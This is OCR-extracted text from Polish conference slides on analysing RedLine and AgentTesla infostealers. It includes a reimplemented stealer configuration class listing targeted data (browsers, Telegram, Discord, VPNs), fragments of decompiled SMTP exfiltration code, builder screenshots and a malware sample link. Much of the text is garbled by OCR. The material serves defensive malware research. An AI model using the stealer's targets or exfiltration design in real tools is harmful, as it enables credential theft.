Idi.http ://tempu
ri.org/V ...s...a
.V.D.... ..@.Auth
orizatio n..nsi.
5aa066b3 9a5d56ec
cdb22301 dab©1085
Bt .OE..Kk..
) D NN T

70
49
65
65
65
08
c4
ab

...Pxhtt p://temp
uri.org/ Entity/I
diRespon se.IdiRe
sponse.h ttp://te
mpuri.or g/.IdiRe
sultVv... s...a.V.

NeB o B

..".htt p://temp
uri.org/ Entity/I
d2.Id2v. ..s...a.
ViDeoos .@.Autho
rization ..ns1l. 5
aab66b39 a5dS6ecc
db22301d ab©1085D
R, A L
aSDyDr. C oDy
B Do

>> Hello
<< [ScanTelegram, ScanFiles, ScanFTP]



Krok czwarty: reimplementacja
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public class Settings

{

public
public
public
public
public
public
public
public
public
public
public
public
public

bool ScanBrowsers { get; set; }
bool ScanFiles { get; set; }

bool ScanFTPs { get; set; }

bool ScanBrowserExtensions { get;
bool GetScreenshot { get; set; }
bool ScanTelegram { get; set; }
bool ScanVPNs { get; set; }

bool ScanGames { get; set; }

bool ScanDiscord { get; set; }
List<string> Patterns { get; set;
List<string> Profiles { get; set;
List<string> Paths { get; set; }
List<EConfig> Config { get; set; }

set;

}
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Family

redlinestealer
redlinestealer
redlinestealer
redlinestealer
redlinestealer
redlinestealer
redlinestealer

redlinestealer

Config ID

e5d9ddeec61819664cT051a20c1bb12a2124859cb8376a2c8ecOd@b6a7df2e3as
2ad@cf185d0c70682fcdaad8cbefd10b18d04c6655506d9h78779236cTPe89fa
0513bealbcic5017673673ch3b14920e02c06b785876539debef2f8e42a8ed9b
9052271a200c1b9f512bc8a4f7510a977229681a113fde15528ce04681eb9419
65c21d99064e0e678e8a9bbT01456bce0592ee2c092820817505c6aedicec8ad
941046adc51a17418d34d3d62323e318d571ed184230997abee9a7ceb3d260T6
b9c098c96Td431d79c1f271f9dcchb32a4ba®8cded7ci4chalf97b3elaldbcesd?

bOcdc42dfOc68d540Te761alldel16a06e45495a7ec9c8700a790152d756595b9

Config type Tags
static
static
static
static
static
static
static

static



Krok szosty: eskalacja?




case study: AgentTesla



AgentTesla

Bardzo popularne “narzedzie administracyjne”

WHAT IS IT? DOWNLOAD BUY NOTICES LOGIN

WELCOME TO AGENT TESLA

Create an account and buy now.

REGISTER NOW




Krok pierwszy: probka

https://bazaar.abuse.ch/sample/9b58155670290b5c9a7
0c783c2430a1614cd855858e2b582ccd20b3eabaeaa56/

http://s.tailcall.net/agenttesia



http://s.tailcall.net/agenttesla

Krok trzeci: analiza
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V4l

P Bl Base Type and Interfaces
P B Derived Types

4 0@ _-’:_- WoNSzEm

P B Base Type and Interfa
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Krok trzeci: analiza

it (fb2RWOVOES ! 111 && fb2RWOVOES.

I
1

(HFfB hffB in fb2RWOVOES)

mailMessage.

smtpClient =
NetworkC al networkCredential

smtpClient.

smtpClient.

smtpClient. |
smtpClient. networkCredential;
smtpClient. kewW.SmtpPort;

smtpClient.Send(mailMessage);

1
s
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Main

Assembly & Icon

Options E-mail: example@gmail.co To E-mail: example@gmail.com
Password Recovery

Binder Password: eeeess Send Log: 10 min. « Clipboard

Installation Smtp: smtp.gmail.com Capture: /7 Desktop WebCam

Downloader &
Spoofer & Pumper

Port: 587 s SSL Test
Fake Message
AgentTesla.com
Web Options
Coder : agent_
Language :
Design : agent_
Theme : NETSEAL v2

Current Version: Status:

Donate
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Main

Assembly & Icon

Options E-mail: example@gmail.com | To E-mail: example@gmail.com
Password Recovery

Binder Password: <« [ ~ae Send Log: 1. : .pboard

Installation Smtp: smtp.gmail.com Capture: /7 Desktop WebCam

Downloader &
sedpdfadiinalas 00 Port: 587 J SS
Spoofer & Pumper i

Fake Message
AgentTesla.com
Web Options
Coder : agent_
Language :
Design : agent_

Theme : NETSEAL v2

Current Version: Status:

Donate
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Mbox - Mozilla Thunderbird

] E Account Settings X | [B Certificate for us2.im: X | [E] Account Setup X

2 {JTag Vv | ili Quick Filter

2 | ®@unread ¢y Starred @ Contact ¢JTags [ Attachment O Filter t
Ea 0 © Subject
o 0 A CO_janusz/JANUSZ-PC
Diplomado de Ventas y Negociaciones Expertas - Profesionalizacion de la fuerza de vent
o Diplomado: Desarrollo de Habilidades Gerenciales - Conoce las nuevas metodc
© Curso Administracion del Programa IMMEX. Anexo 24 Y 30 - Conoce los benefit

© Curso Administracion Efectiva del Tiempo y Planeacion - Optimisa el uso del ti
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Jakies wnioski? &

e Nie takie RE straszne jak je malujg

e Stealery naprawde nie sg za ciekawe
o Chyba ze ktos lubi .NET
o Ale za to sg popularne i majg dane

e Przestepcy zazwyczaj nie sg za dobrymi programistami

e Sth sth wspotpraca?
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msm@tailcall.net
msm@cert.pl

@MsmCode

lcons from flaticon.com by freepik, Pixel Perfect - thanks!
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msm@tailcall.net
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@MsmCode
PR W D EA kazata jeszcze przekazac, ze mozna oceniaC w eventory czy cos

lcons from flaticon.com by freepik, Pixel Perfect - thanks!
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